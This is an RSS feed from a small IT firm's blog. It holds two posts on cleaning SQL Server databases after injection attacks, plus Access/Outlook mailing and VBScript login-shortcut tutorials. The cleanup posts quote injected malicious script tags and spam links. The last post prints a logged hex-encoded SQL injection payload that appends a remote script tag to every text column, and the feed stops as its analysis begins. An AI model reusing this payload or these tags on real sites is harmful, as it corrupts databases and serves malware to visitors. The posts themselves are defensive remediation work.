<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jephens Tech. &#187; Programming</title>
	<atom:link href="http://www.jephens.com/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jephens.com</link>
	<description>Keeping Computers Happy Since 1997</description>
	<lastBuildDate>Tue, 22 Nov 2011 04:33:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Cleaning Up After a SQL Injection Attack, Part 2</title>
		<link>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/</link>
		<comments>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/#comments</comments>
		<pubDate>Sun, 27 Dec 2009 04:59:07 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[t-sql]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=268</guid>
		<description><![CDATA[Got a call today off our previous article in this series from Branden of Hot Media Group, Inc., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn't match what we had written about, so he called us up. [...]]]></description>
			<content:encoded><![CDATA[<p>Got a call today off our <a href="/2008/07/27/how-to-clean-up-after-a-sql-injection-attack">previous article in this series</a> from Branden of<a href="http://www.hotmediagroup.com/" target="_blank"> Hot Media Group, Inc</a>., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn't match what we had written about, so he called us up. We reviewed his symptoms and were able to tweak the code we provided previously to work with this new set of issues.</p>
<p>We weren't able to see how the site was attacked, nor did we worry about how the site would be steeled against future occurrence (<a href="http://msmvps.com/blogs/harrywaldron/archive/2008/05/31/microsoft-best-practices-for-preventing-sql-injection-attacks.aspx" target="_blank">always use stored procedures and/or parametrized queries, kids</a>!) -- this was purely a cleanup job.</p>
<p>This is the code we had:</p>
<pre class="code prettyprint" style="height: 20em;">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],''<script src="hxxp://evilsite.evl/b.js"><!--mce:0--></script>'', '''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),''<script src="hxxp://evilsite.evl/b.js"><!--mce:1--></script>'','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>And that worked fine, but it had some shortcomings -- mostly it only stripped out a single bit of invasive code, and our new friend had quite a bit of code to deal with, so instead of the almost quaint looking malware code:</p>
<pre class="code prettyprint" style="height: 3em;">&lt;script src="hxxp://evilsite.evl/b.js"&gt;&lt;/script&gt;</pre>
<p>We had this jumble of code in every ntext field in his database:</p>
<pre class="code prettyprint" style="height: 20em;">&lt;script type='text/javascript' src='http://google-anallytics.bad/urchin.js'&gt;&lt;/script&gt;
&lt;div style='display:none;'&gt;&lt;a href='http://tests4all.bad/1/'&gt;journals on losing post-pregnancy weight&lt;/a&gt;
&lt;a href='http://tests4all.bad/2/'&gt;personal trainer certification atlanta&lt;/a&gt;
&lt;a href='http://tests4all.bad/3/'&gt;quit smoking water vapor rings&lt;/a&gt;
&lt;a href='http://tests4all.bad/4/'&gt;eyes in the darkness&lt;/a&gt;
&lt;a href='http://tests4all.bad/5/'&gt;cheated map on dota 6.54b&lt;/a&gt;
&lt;a href='http://tests4all.bad/6/'&gt;occupations for bored teen boys&lt;/a&gt;
&lt;a href='http://tests4all.bad/7/'&gt;cgw southeast partners ilp&lt;/a&gt;
&lt;a href='http://tests4all.bad/8/'&gt;does iq tests accurately measure intelligence&lt;/a&gt;
&lt;a href='http://tests4all.bad/9/'&gt;free total psychic reading&lt;/a&gt;
&lt;a href='http://tests4all.bad/10/'&gt;minnesota past life regression&lt;/a&gt;
&lt;a href='http://tests4all.bad/11/'&gt;date of abraham lincolns death&lt;/a&gt;</pre>
<p>After trying to figure out the best way to escape all the single quotes, Branden -- an accomplished ColdFusion developer -- suggests "why don't we just drop everything to the right of the &lt;script&gt; tag?"<br />
<span id="more-268"></span><br />
Sounded like a great idea and worked very well. Since his infection had only affected NTEXT fields, we focused on cleaning them up, as well as making the script as easy to manage as possible. So I rewrote it to make it more friendly to the end-user,</p>
<pre class="code prettyprint" style="height: 25em;">DECLARE @T VARCHAR(255),@C VARCHAR(255), @sql varchar(2000)
DECLARE @ObjectionableText varchar(1000)
Set @ObjectionableText = '&lt;script type=''''text/javascript'''' src=''''http://google-anally' -- make sure your single quotes are escaped with another single quote
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
set @sql = ('UPDATE ['+@T+'] SET ['+@C+']= left(cast(' +@C+ ' as varchar(8000)), charindex('''+@ObjectionableText+''', cast(' +@C+ ' as varchar(8000)))-1) where '+@C+ ' like <a href="mailto:''%'+@ObjectionableText+'%'''">''%'+@ObjectionableText+'%'''</a>)
print @sql
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>So, let's take this apart real quick...</p>
<p>We declare some variables:</p>
<pre class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255), @sql varchar(2000)
DECLARE @ObjectionableText varchar(1000)</pre>
<p>Now, this next line is the <strong>important</strong> one -- this is where we tell the script where we want to kill from. In our example above, we could have used <strong>&lt;script</strong> as a starting tag, but the client was afraid some of the data might have legitimate &lt;script&gt; tags in the data, so we needed to get a little more specific; this string appeared in the data: "<strong>&lt;script type='text/javascript' src='http://google-anally...</strong>" so we decided to use that. However, you might notice that there were SINGLE QUOTES in the string. Since SQL Server uses a single quote as a string delimiter, we need to make sure we use FOUR single quotes in the next line everytime there's a single quote:</p>
<pre class="code prettyprint">Set @ObjectionableText = '&lt;script type=''''text/javascript'''' src=''''http://google-anally' -- make sure your single quotes are escaped with another single quote</pre>
<p>We use <strong>FOUR</strong> single quotes because this script will generate a binch of UPDATE statements for you, and the UPDATE statements need to have THEIR single-quotes escaped, so we need to tell our variable to output <strong>TWO</strong> single quotes, which means using <strong>FOUR</strong> single quotes in the variable. (Our escape uses 2 quotes and the escape later uses 2 quotes, so that equals 4.)</p>
<p>(Don't follow? Doesn't matter. Trust me. In your ObjectionableText, use FOUR single quotes where you see ONE.)</p>
<p>Now, like the old code, we set the cursor up as before; and since we only need NTEXT fields, we're only looking for columns where xtype = 99:</p>
<pre class="code prettyprint">DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN</pre>
<p>But now, we have to change the SQL statement we want to use to (a) keep 8k worth of ntext -- if you think you have more than 8K, change the number accordingly in SQL2005+, SQL2000 has an varchar limit of 8K for a varchar field... so we UPDATE the field to a new value, computed by doing a simple <a href="http://msdn.microsoft.com/en-us/library/ms177601.aspx" target="_blank">LEFT</a> and using the <a href="http://msdn.microsoft.com/en-us/library/ms186323.aspx" target="_blank">CHARINDEX</a> of the text we shoved in the @ObjectionableText variable (minus 1) to come up with it. To make sure we don't pass an invalid value to CHARINDEX we need to make sure the rows we're working on actually have the polluted text -- and that's where the <a href="http://msdn.microsoft.com/en-us/library/ms179859.aspx" target="_blank">LIKE</a> at the end comes in.</p>
<pre class="code prettyprint">set @sql = ('UPDATE ['+@T+'] SET ['+@C+']= left(cast(' +@C+ ' as varchar(8000)), charindex('''+@ObjectionableText+''', cast(' +@C+ ' as varchar(8000)))-1) where '+@C+ ' like<a href="mailto:''%'+@ObjectionableText+'%'''">''%'+@ObjectionableText+'%'''</a>)</pre>
<p>NOTE: Bear in mind we're doing a TABLE SCAN on this table since we're doing a mid-string lookup, so performance may be bad. It beats going thru everything by hand, but if you have a large table (10,000+ rows) it might take some time.</p>
<p>Now, I print the SQL statement. I could execute the statement (EXEC @sql) instead, but since I don't want you cutting-and-pasting this code without knowing what it has the potential to do, I will go for the more benign PRINT and let you either change it to EXEC or cut and paste the resulting SQL statements into a new Query Analyzer/Management Studio window..</p>
<pre class="code prettyprint">print @sql</pre>
<p>And then we loop thru the rest of the cursor and cleanup after ourselves:</p>
<pre class="code prettyprint">FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>That's it. Copy and paste the above code into Query Analyzer or SQL Server Management Studio and run it; you'll get a list of SQL statements back which look like this:</p>
<pre class="code prettyprint" style="height: 6em;">UPDATE [Banners] SET [AdCode]= left(cast(AdCode as varchar(8000)), charindex('&lt;script type=''text/javascript'' src=''http://google-anally', cast(AdCode as varchar(8000)))-1) where AdCode like '%&lt;script type=''text/javascript'' src=''http://google-anally%'
UPDATE [Banners] SET [AdCodeNetscape]= left(cast(AdCodeNetscape as varchar(8000)), charindex('&lt;script type=''text/javascript'' src=''http://google-anally', cast(AdCodeNetscape as varchar(8000)))-1) where AdCodeNetscape like '%&lt;script type=''text/javascript'' src=''http://google-anally%'</pre>
<p>Paste them into a new QA/SSMS window and run them, and your data should then be clean.</p>
<p><strong>REMINDER! In this case, we assume the malicious code was merely appended to the end of the NTEXT fields, not that fields were truncated and appended to like in the last article. If that's the case, data loss may still be possible in that the injection attack might have caused data fields to be truncated.</strong></p>
<p>Thanks to Branden for trusting us with his data, and if you're in the market for</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Filtering Mailing Lists using Access and Outlook</title>
		<link>http://www.jephens.com/2009/04/07/filtering-mailing-lists-using-access-and-outlook/</link>
		<comments>http://www.jephens.com/2009/04/07/filtering-mailing-lists-using-access-and-outlook/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 15:11:17 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[outlook]]></category>
		<category><![CDATA[sending mail]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=159</guid>
		<description><![CDATA[In what is becoming a series, we'll further tweak our code to allow for filtering of the query. In the original code, we open a query directly as a recordset. This fails if the query requires some parameters. (I'm not going to demonstrate a way to get user input and use that as the parameter. [...]]]></description>
			<content:encoded><![CDATA[<p>In what is becoming a <a href="tag/sending-mail">series</a>, we'll further tweak our code to allow for filtering of the query.</p>
<p>In the <a href="http://www.jephens.com/2007/05/13/how-to-send-e-mail-from-ms-access-using-outlook">original code</a>, we open a query directly as a recordset.  This fails if the query requires some parameters.</p>
<p>(I'm not going to demonstrate a way to get user input and use that as the parameter.  You should be able to copy and paste the code from the original user input sections of the code and modify as needed.)</p>
<p>To start, let's discuss the query and it's parameter.</p>
<p>In our original code, the query was just pulling a list of email addresses.  For this, let's filter that list of addresses by domain.<br />
<span id="more-159"></span><br />
(For our purposes, I'll assume you know how to write a query with parameters.  Here's a screeenshot of how yours should look.)</p>
<p style="text-align: center;"><a href="http://www.jephens.com/wp-content/uploads/2009/04/qry1.gif"><img class="size-full wp-image-169 aligncenter" title="Parameter Query" src="http://www.jephens.com/wp-content/uploads/2009/04/qry1.gif" alt="Parameter Query" width="221" height="220" /></a></p>
<p>You can see that we added a parameter called "domain" and the told Access that we want the query to return any record that has "domain" at the end.</p>
<p>So, when we run the query from the design window, we're prompted to enter the parameter:</p>
<p style="text-align: center;"><a href="http://www.jephens.com/wp-content/uploads/2009/04/qry3.gif"><img class="size-full wp-image-171 aligncenter" title="Entered Parameter" src="http://www.jephens.com/wp-content/uploads/2009/04/qry3.gif" alt="Entered Parameter" width="260" height="219" /></a></p>
<p>and when we click RUN we'll get all email addresses from the jephens.com domain.</p>
<p>That's all well and good, but if we run the code as it exists, we get an error:</p>
<p style="text-align: center;"><a href="http://www.jephens.com/wp-content/uploads/2009/04/qry4.gif"><img class="size-full wp-image-172 aligncenter" title="Too Few Parameters" src="http://www.jephens.com/wp-content/uploads/2009/04/qry4.gif" alt="Too Few Parameters" width="223" height="121" /></a></p>
<p>This occurs because the code doesn't know what to do with the parameter, so it punts and throws an error.</p>
<p>We'll need to handle this.  And for that, we have to use a <strong>QueryDef</strong> object and assign a <strong>parameter</strong>.</p>
<p>So, instead of:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">Set</span> MailList = db.<span class="me1">OpenRecordset</span><span class="br0">&#40;</span><span class="st0">&quot;MyEmailAddresses&quot;</span><span class="br0">&#41;</span></div>
<p>... we need to do a few things:</p>
<p>1. Create a QueryDef object</p>
<p>2 Assign our query to the object</p>
<p>3. Tell the object what our parameter is</p>
<p>4. Put the output of our query into our recordset.</p>
<p>Happily, this is pretty simple.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">Dim</span> qryMail <span class="kw1">as</span> <span class="kw1">QueryDef</span></p>
<p><span class="kw1">Set</span> qryMail = currentdb.<span class="me1">querydefs</span><span class="br0">&#40;</span><span class="st0">&quot;MyEmailAddresses&quot;</span><span class="br0">&#41;</span></p>
<p>qryMail<span class="br0">&#40;</span><span class="st0">&quot;domain&quot;</span><span class="br0">&#41;</span> = <span class="st0">&quot;.com&quot;</span></p>
<p><span class="kw1">Set</span> MailList = qryMail.<span class="me1">OpenRecordset</span></div>
<p>And that will filter the recordset and only send mails to people in the .com namespace.</p>
<p>Of course, that's not the most user-friendly code, so you'd probably want to copy and paste some of the user input language and use that to fill in the parameter:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">Dim</span> Domain <span class="kw1">as</span> <span class="kw1">string</span>, qryMail <span class="kw1">as</span> <span class="kw1">QueryDef</span></p>
<p>Domain$ = <span class="kw1">InputBox</span>$<span class="br0">&#40;</span><span class="st0">&quot;Please enter domain you would like to filter. Leave blank to send to everyone on the list.&quot;</span>, <span class="st0">&quot;Users can be choosers!&quot;</span><span class="br0">&#41;</span></p>
<p><span class="kw1">Set</span> qryMail = currentdb.<span class="me1">querydefs</span><span class="br0">&#40;</span><span class="st0">&quot;MyEmailAddresses&quot;</span><span class="br0">&#41;</span></p>
<p>qryMail<span class="br0">&#40;</span><span class="st0">&quot;domain&quot;</span><span class="br0">&#41;</span> = domain$</p>
<p><span class="kw1">Set</span> MailList = qryMail.<span class="me1">OpenRecordset</span></div>
<p>The nice thing about the way we wrote the query is we can leave the domain part blank, and the query will return all the records.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/04/07/filtering-mailing-lists-using-access-and-outlook/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Using Access and Outlook to Send To Mailing Lists</title>
		<link>http://www.jephens.com/2009/03/15/using-access-and-outlook-to-send-to-mailing-lists/</link>
		<comments>http://www.jephens.com/2009/03/15/using-access-and-outlook-to-send-to-mailing-lists/#comments</comments>
		<pubDate>Sun, 15 Mar 2009 22:31:57 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[office]]></category>
		<category><![CDATA[outlook]]></category>
		<category><![CDATA[sending mail]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=131</guid>
		<description><![CDATA[Perhaps the most popular article on the site explains how to send email to a bunch of people using Access and Outlook. It has garnered its fair share of comments and emails, and one came in today that I figured I'd share and then elaborate on. The mail reads (in part): I have a following [...]]]></description>
			<content:encoded><![CDATA[<p>Perhaps the most popular article on the site <a href="http://www.jephens.com/2007/05/13/how-to-send-e-mail-from-ms-access-using-outlook">explains how to send email to a bunch of people using Access and Outlook</a>.</p>
<p>It has garnered its fair share of comments and emails, and one came in today that I figured I'd share and then elaborate on.</p>
<p>The mail reads (in part):</p>
<p style="padding-left: 30px; "><em>I have a following question: How to modify this module to be able to send messages to various mailing lists that I predefine in respective queries? In other words, I have in my database 3 categories of customers (in 3 different queries) andI want to address them with a different message. Do I need to create 3 macros running 3 modules each referring to a separate query with a given category of customers or is there another way to do it?</em></p>
<p>You don't have to create modules for each list, you just need to be able to tell the macro which query you want to use before running it.<br />
<span id="more-131"></span><br />
There's a few different ways to do it:</p>
<ol>
<li>Edit the code to reflect the list each time you want to run the macro</li>
<li>Have the code ask you which query you want to use</li>
<li>Set up different macros to do the work for you.</li>
</ol>
<p>Let's take a look at the various ways...</p>
<h2>1. Edit the code</h2>
<p>The first one is pretty self-explanatory, so I won't elaborate much. Just change the line:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">Dim</span> qryName <span class="kw1">as</span> <span class="kw1">String</span></p>
<p>qryName = <span class="kw1">InputBox</span>$<span class="br0">&#40;</span><span class="st0">&quot;Please enter the name of the query you want to use to get the addresses&quot;</span>, <span class="st0">&quot;Which Addresses?&quot;</span><span class="br0">&#41;</span></p>
<p><span class="co1">' If there€™s no one to write to, call it a day.</span></p>
<p><span class="kw1">If</span> qryName$ = <span class="st0">&quot;&quot;</span> <span class="kw1">Then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">MsgBox</span> <span class="st0">&quot;Without addresses, we can't send a message.&quot;</span> &amp;amp; <span class="kw1">vbNewLine</span> &amp;amp; <span class="kw1">vbNewLine</span> &amp;amp; <span class="st0">&quot;Quitting...&quot;</span>, <span class="kw1">vbCritical</span>, <span class="st0">&quot;No one to send to...&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">Exit</span> <span class="kw1">Function</span><br />
<span class="kw1">End</span> <span class="kw1">If</span></p>
<p><span class="kw1">Set</span> MailList = db.<span class="me1">OpenRecordset</span><span class="br0">&#40;</span>qryName<span class="br0">&#41;</span></div>
<p><strong>NOTICE</strong> that there are <strong>NO QUOTES</strong> around <em>qryName</em> like we had around "MyEMailAddresses" -- since <em>qryName</em> is a variable and will be replaced by whatever we typed in the box, it doesn't get quotes around it.</p>
<p>Also note, that we're not checking to make sure the query is correct, we trust you to get it right and not make a typo. <img src='http://www.jephens.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Lastly, we need to ensure that the queries we're using to seed this thing have the same fields as the query we're replacing, otherwise errors will be thrown... to clarify, if your new query has a field named "E-Mail" and we're looking for a field called "Email" -- the routine will fail.</p>
<h2>3. Use a macro to fill the query in for you</h2>
<p>This is the coolest way to do it, since you only have to make the macro once, and then you can run it as many times as you want with no more effort than a double-click.</p>
<p>We need a way to tell the Function that we want to use a specific query. The way we do this is by using an <strong>ARGUMENT</strong>.</p>
<p>The first line of our function looks like this:</p>
<pre class="prettyprint"> Public Function SendEMail()</pre>
<p>The parentheses at the end are where we put the arguments. In our initial example, we didn't need any arguments, so the parens were empty... but now we want to use an argument. An argument is nothing more than a variable that is filled in before hand. In Option 2, we typed the queryname in every time we ran the macro. We're going to change the irst line of our function AND we're going to change the line that assigns the query like so:</p>
<pre class="prettyprint"> Public Function SendEMail(qryName as String)</pre>
<p>See what we did there? We took the variable declaration from the 2nd option (<em>Dim qryName as String</em>), and put in the argument field instead.</p>
<p>Now, in the meat of the routine, we need to change one line from:</p>
<pre class="prettyprint"> Set MailList = db.OpenRecordset("MyEmailAddresses")</pre>
<p>to</p>
<pre class="prettyprint"> Set MailList = db.OpenRecordset(qryName)</pre>
<p>(Look a little familiar?)</p>
<p>So, now we have our function edited, but where do we put the query name we want to use? <em>In the macro</em>.</p>
<h3>Running the Macro</h3>
<p>If we run the macro we wrote in the first article, we're going to get an error since it doesn't provide an argument.</p>
<p><img class="alignnone size-full wp-image-140" title="macro4" src="http://www.jephens.com/wp-content/uploads/2009/03/macro4.gif" alt="macro4" width="403" height="86" /></p>
<p>So, we need to edit the macro.</p>
<p>Go into the macro definition, and it looks like this:<img class="alignnone size-full wp-image-137" title="macro1" src="http://www.jephens.com/wp-content/uploads/2009/03/macro1.gif" alt="macro1" width="564" height="296" /></p>
<p>And where it says "=SendEmail()" is where we're going to make our edit.</p>
<p>Since we want this macro to work like it always did, we need to use query we wrote for the original article, which is called<strong>MyEMailAddresses.</strong></p>
<p>We need to update the function name to <em>=SendEmail("MyEmailAddresses") </em>like so:</p>
<p><img class="alignnone size-full wp-image-138" title="macro2" src="http://www.jephens.com/wp-content/uploads/2009/03/macro2.gif" alt="macro2" width="389" height="70" /></p>
<p>If you wanted, you could also use the Expression Builder by clicking the button with 3 dots on it to pick your function name. This is what that looks like:</p>
<p><img class="alignnone size-full wp-image-139" title="macro3" src="http://www.jephens.com/wp-content/uploads/2009/03/macro3.gif" alt="macro3" width="406" height="410" /></p>
<p>So you can see that the function (SendEmail) is now asking for an argument (the bit in the parentheses) called <strong>qryName</strong>.</p>
<p>Now, if you save the macro and run it, the macro should run like always.</p>
<p>To make a different macro for each of your queries, just copy the macro we made...</p>
<p><img class="alignnone size-full wp-image-143" title="macro5" src="http://www.jephens.com/wp-content/uploads/2009/03/macro5.gif" alt="macro5" width="346" height="278" /></p>
<p>... and paste it with a new name:</p>
<p><img class="alignnone size-full wp-image-142" title="macro6" src="http://www.jephens.com/wp-content/uploads/2009/03/macro6.gif" alt="macro6" width="270" height="112" /></p>
<p>And that's all there is to it.</p>
<p>Any time you need to send to a new list, write a new query, copy, paste then edit the macro and you're off to the races.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/03/15/using-access-and-outlook-to-send-to-mailing-lists/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Adding a Group Membership Based Shortcut to a Windows Desktop Upon Login</title>
		<link>http://www.jephens.com/2008/11/21/adding-a-group-membership-based-shortcut-to-a-windows-desktop-upon-login/</link>
		<comments>http://www.jephens.com/2008/11/21/adding-a-group-membership-based-shortcut-to-a-windows-desktop-upon-login/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 07:16:13 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Management]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[desktop shortcut]]></category>
		<category><![CDATA[group membership]]></category>
		<category><![CDATA[icon]]></category>
		<category><![CDATA[vbscript]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=70</guid>
		<description><![CDATA[(That's a wordy title, isn't it?) Had an issue with a client who needed to drop a shortcut to a Remote Desktop connection on certain desktops based upon their membership in a group. A little vbscripting, and we got it done. It's pretty simple. (You can cut and paste the script below. Change the variables [...]]]></description>
			<content:encoded><![CDATA[<p>(That's a wordy title, isn't it?)</p>
<p>Had an issue with a client who needed to drop a shortcut to a Remote Desktop connection on certain desktops based upon their membership in a group.</p>
<p>A little vbscripting, and we got it done. It's pretty simple. (You can cut and paste the script below. Change the variables to suit your environment. Word wrapping on the screen shouldn't carry over to your editing tool of choice -- mine is <a href="http://www.textpad.com" target="_blank">TextPad</a>.)</p>
<div class="code" style="margin:6px; margin-top:5px; margin-bottom: 2em;">Option Explicit<br />
'initialize our variables</p>
<p>Dim objUser, CurrentUser<br />
Dim strGroup<br />
Dim wShell<br />
Dim strDesktop, objFSO<br />
Dim link, GroupName</p>
<p>' Init our objects<br />
Set wShell = CreateObject("WScript.Shell")<br />
Set objFSO = CreateObject("Scripting.FileSystemObject")</p>
<p>Set objUser = CreateObject("ADSystemInfo")<br />
Set CurrentUser = GetObject("LDAP://" &amp; objUser.UserName)</p>
<p>'This is the magic... our group membership<br />
strGroup = LCase(Join(CurrentUser.MemberOf))</p>
<p>' logic testing<br />
If InStr(strGroup, lcase(GroupName)) Then</p>
<p>' get the desktop folder path. this works for all locations<br />
' redirected folders, etc.</p>
<p>strDesktop = WShell.SpecialFolders("Desktop")</p>
<p>' now we create our Shortcut object, and give it a name<br />
Set link = wShell.CreateShortcut(strDesktop &amp; "\Connect to TermServer.lnk")</p>
<p>' set the location where you store the file on the server<br />
link.TargetPath = "\\fileserver\path\server.rdp"</p>
<p>' and we have to save it to make it stick.<br />
link.Save</p>
<p>End If</p>
<p>WScript.Quit</p></div>
<p>Easy peasy.</p>
<p>So then, I add the script to a domain level Group Policy object I have called, logically enough, "Login Scripts" and it runs on each login, making sure our little icon is where it belongs.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2008/11/21/adding-a-group-membership-based-shortcut-to-a-windows-desktop-upon-login/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To Clean Up After a SQL Injection Attack</title>
		<link>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/</link>
		<comments>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/#comments</comments>
		<pubDate>Sun, 27 Jul 2008 11:30:53 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Analysis]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=36</guid>
		<description><![CDATA[NEW AND IMPROVED UPDATE: Cleaning Up After a SQL Injection Attack, Part 2 [UPDATE: Added code to deal with replacing text in the ntext fields of SQL Server 2000.] One of our clients got hit with a web attack a week or so ago. We're still not quite sure how this particular attack was carried [...]]]></description>
			<content:encoded><![CDATA[<p><strong>NEW AND IMPROVED UPDATE: </strong><a href="http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2"><strong>Cleaning Up After a SQL Injection Attack, Part 2</strong></a></p>
<p><strong>[UPDATE: Added code to deal with replacing text in the ntext fields of SQL Server 2000.]</strong></p>
<p>One of our clients got hit with a web attack a week or so ago. We're still not quite sure how this particular attack was carried out -- <span style="text-decoration: line-through;">we're thinking an unpatched web server at the hosting facility</span> -- but it did cause me to look at the log file of the web site to see who might have been able to overwrite index.htm in the root directory. (The FTP logs held the clue -- a rogue in Asia who cracked the password.)</p>
<p>As I said, it turned up nothing, but I did see a series of SQL Injection attacks -- none of which were successful (always check your variables, kids!) -- but they piqued my interest, so I took it apart.<span id="more-36"></span></p>
<p>I'm not sure if there's any way to discuss this in-depth without revealing the code. Revealing the code is a double-edged sword. I'd like people to be able to find this via the search engines in case they've been hit with it; but at the same time, I'd hate to see people use this to further spread malice... but I don't think this code is all that unqiue, or all that new, really...</p>
<h3>A Study of An SQL Injection</h3>
<p>In the log was the following line (IPs changed to protect the innocent and not-so-innocent):</p>
<pre style="height: 6em;" class="code prettyprint">2008-06-27 21:20:32 x.x.x.x  - W3SVC257 y.y.y.y  80 GET /gallery/index.asp type=4;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--|76|800a000d|Type_mismatch:_'iGallery' 500 0 1422 0 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) -</pre>
